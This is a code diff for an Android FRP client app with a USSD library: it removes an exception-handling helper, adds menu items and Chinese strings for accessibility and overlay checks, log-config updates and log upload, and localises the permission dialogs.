-    public static String handleException(Throwable e) {
-        ResponseThrowable ex;
-        if (e instanceof HttpException) {
-            HttpException httpException = (HttpException) e;
-            ex = new ResponseThrowable(e, HTTP_ERROR);
-            switch (httpException.getCode()) {
-                case UNAUTHORIZED:
-                case FORBIDDEN:
-                case NOT_FOUND:
-                case REQUEST_TIMEOUT:
-                case GATEWAY_TIMEOUT:
-                case INTERNAL_SERVER_ERROR:
-                case BAD_GATEWAY:
-                case SERVICE_UNAVAILABLE:
-                default:
-                    ex.message = "Network Error " + httpException.getCode();
-                    break;
-            }
-            return ex.getMessage();
-        } else if (e instanceof JSONException || e instanceof ParseException) {
-            ex         = new ResponseThrowable(e, PARSE_ERROR);
-            ex.message = "Parsing Error";
-            return ex.getMessage();
-        } else if (e instanceof javax.net.ssl.SSLHandshakeException) {
-            ex         = new ResponseThrowable(e, SSL_ERROR);
-            ex.message = "Certificate Verification Failed";
-            return ex.getMessage();
-        } else if (e instanceof ConnectTimeoutException) {
-            ex         = new ResponseThrowable(e, TIMEOUT_ERROR);
-            ex.message = "Connection Timed out " + TIMEOUT_ERROR;
-            return ex.getMessage();
-        } else if (e instanceof java.net.SocketTimeoutException) {
-            ex         = new ResponseThrowable(e, TIMEOUT_ERROR);
-            ex.message = "Connection Timed out";
-            return ex.getMessage();
-        } else if (e instanceof NoNetWorkException) {
-            ex         = new ResponseThrowable(e, NETWORK_ERROR);
-            ex.message = "Please check your network";
-            return ex.getMessage();
-        } else if (e instanceof ConnectException) {
-            ex         = new ResponseThrowable(e, NETWORK_ERROR);
-            ex.message = "Connection Failed";
-            return ex.getMessage();
-        } else if (e instanceof UnknownHostException) {
-            ex         = new ResponseThrowable(e, UNKOWN_HOST);
-            ex.message = "Unknown Host Exception";
-            return ex.getMessage();
-        } else if (e instanceof IOException) {
-            ex         = new ResponseThrowable(e, IO_ERROR);
-            ex.message = "I/O Error";
-            return ex.getMessage();
-        } else if (e instanceof IllegalStateException) {
-            ex         = new ResponseThrowable(e, IllegalState_ERROR);
-            ex.message = "IllegalStateException";
-            return ex.getMessage();
-        } else {
-            ex         = new ResponseThrowable(e, UNKNOWN);
-            ex.message = e.getMessage();
-            return ex.getMessage();
-        }
-    }
-
-    public static class ResponseThrowable extends Exception {
-        public int    code;
-        public String message;
-
-        public ResponseThrowable(Throwable throwable, int code) {
-            super(throwable);
-            this.code = code;
-        }
-
-        @Override
-        public String getMessage() {
-            return message;
-        }
-
-        public void setMessage(String message) {
-            this.message = message;
-        }
-    }
-
-    public static class NoStatusException extends Exception {
-        public NoStatusException() {
-        }
-
-        public NoStatusException(String message, Throwable cause) {
-            super(message, cause);
-        }
-    }
-
-
-    public static class NoNetWorkException extends ConnectException {
-        public int    code;
-        public String message;
-    }
-}
-

+ 2 - 1
frpc_android-master/app/src/main/res/layout/activity_logcat.xml

@@ -18,7 +18,8 @@
             android:id="@+id/toolbar"
             android:layout_width="match_parent"
             android:layout_height="?attr/actionBarSize"
-            app:titleTextColor="@color/white"         android:background="?attr/colorPrimary"
+            app:titleTextColor="@color/white"
+            android:background="?attr/colorPrimary"
             app:title="@string/title_logcat" />
 
     </com.google.android.material.appbar.AppBarLayout>

+ 10 - 0
frpc_android-master/app/src/main/res/menu/main.xml

@@ -19,6 +19,16 @@
                 android:orderInCategory="100"
                 android:title="@string/action_add_acc"
                 app:showAsAction="never" />
+            <item
+                android:id="@+id/action_accessibility2"
+                android:orderInCategory="100"
+                android:title="@string/action_add_acc2"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_update_log_config"
+                android:orderInCategory="100"
+                android:title="@string/update_log_config"
+                app:showAsAction="never" />
             <item
                 android:id="@+id/action_add_file"
                 android:orderInCategory="100"

+ 5 - 0
frpc_android-master/app/src/main/res/menu/menu_logcat.xml

@@ -1,6 +1,11 @@
 <?xml version="1.0" encoding="utf-8"?>
 <menu xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:app="http://schemas.android.com/apk/res-auto">
+    <item
+        android:id="@+id/push"
+        android:icon="@mipmap/duck"
+        android:title="@string/logcat_copy"
+        app:showAsAction="always" />
     <item
         android:id="@+id/copy"
         android:icon="@drawable/ic_copy_white"

+ 11 - 1
frpc_android-master/app/src/main/res/values/strings.xml

@@ -17,7 +17,8 @@
     <string name="permissionReason">请授予存储权限,用于读写配置文件</string>
     <string name="action_add">添加</string>
     <string name="action_add_text">新建配置文本</string>
-    <string name="action_add_acc">自检</string>
+    <string name="action_add_acc">无障碍服务检查</string>
+    <string name="action_add_acc2">悬浮窗检查</string>
     <string name="action_add_url">从网址导入</string>
     <string name="action_add_file">从文件导入</string>
     <string name="action_add_scan">扫描二维码</string>
@@ -40,6 +41,7 @@
     <string name="title_logcat">日志</string>
     <string name="noName">未命名</string>
     <string name="logcat_copy">复制</string>
+    <string name="logcat_push">上传</string>
     <string name="logcat_delete">删除</string>
     <string name="copySuccess">复制成功</string>
     <string name="titleTemplate">模板文件</string>
@@ -58,5 +60,13 @@
     <string name="uplaod_null_tip">当前版本已经是最新的了!</string>
     <string name="go_setting_1_s">请授予 %1$s 必要的权限!</string>
     <string name="go_bt">前往</string>
+    <string name="current_status">实时状态</string>
+    <string name="no_message">暂时没有可展示的消息!</string>
+    <string name="pushing">开始上传....</string>
+    <string name="update_log_config">更新日志配置</string>
+    <string name="update_err">更新失败!</string>
+    <string name="update_log_config_suc">日志配置更新成功!</string>
+    <string name="push_suc">上传成功</string>
+    <string name="push_error">上传失败</string>
 
 </resources>

+ 8 - 8
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

@@ -270,15 +270,15 @@ public class USSDController implements USSDInterface, USSDApi {
 
     private static void openSettingsAccessibility(final Activity activity) {
         AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(activity);
-        alertDialogBuilder.setTitle("USSD Accessibility permission");
+        alertDialogBuilder.setTitle("无障碍权限未获得");
         ApplicationInfo applicationInfo = activity.getApplicationInfo();
         int stringId = applicationInfo.labelRes;
         String name = applicationInfo.labelRes == 0 ?
                 applicationInfo.nonLocalizedLabel.toString() : activity.getString(stringId);
         alertDialogBuilder
-                .setMessage("You must enable accessibility permissions for the app '" + name + "'");
-        alertDialogBuilder.setCancelable(true);
-        alertDialogBuilder.setNeutralButton("ok", new DialogInterface.OnClickListener() {
+                .setMessage("必须授予无障碍权限才能使用" + name);
+        alertDialogBuilder.setCancelable(false);
+        alertDialogBuilder.setNeutralButton("前往", new DialogInterface.OnClickListener() {
             public void onClick(DialogInterface dialog, int id) {
                 activity.startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS), 1);
             }
@@ -291,15 +291,15 @@ public class USSDController implements USSDInterface, USSDApi {
 
     private static void openSettingsOverlay(final Activity activity) {
         AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(activity);
-        alertDialogBuilder.setTitle("USSD Overlay permission");
+        alertDialogBuilder.setTitle("悬浮窗权限");
         ApplicationInfo applicationInfo = activity.getApplicationInfo();
         int stringId = applicationInfo.labelRes;
         String name = applicationInfo.labelRes == 0 ?
                 applicationInfo.nonLocalizedLabel.toString() : activity.getString(stringId);
         alertDialogBuilder
-                .setMessage("You must allow for the app to appear '" + name + "' on top of other apps.");
-        alertDialogBuilder.setCancelable(true);
-        alertDialogBuilder.setNeutralButton("ok", new DialogInterface.OnClickListener() {
+                .setMessage("您必须允许" + name + "出现在其他应用程序之上");
+        alertDialogBuilder.setCancelable(false);
+        alertDialogBuilder.setNeutralButton("前往", new DialogInterface.OnClickListener() {
             public void onClick(DialogInterface dialog, int id) {
                 Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
                         Uri.parse("package:" + activity.getPackageName()));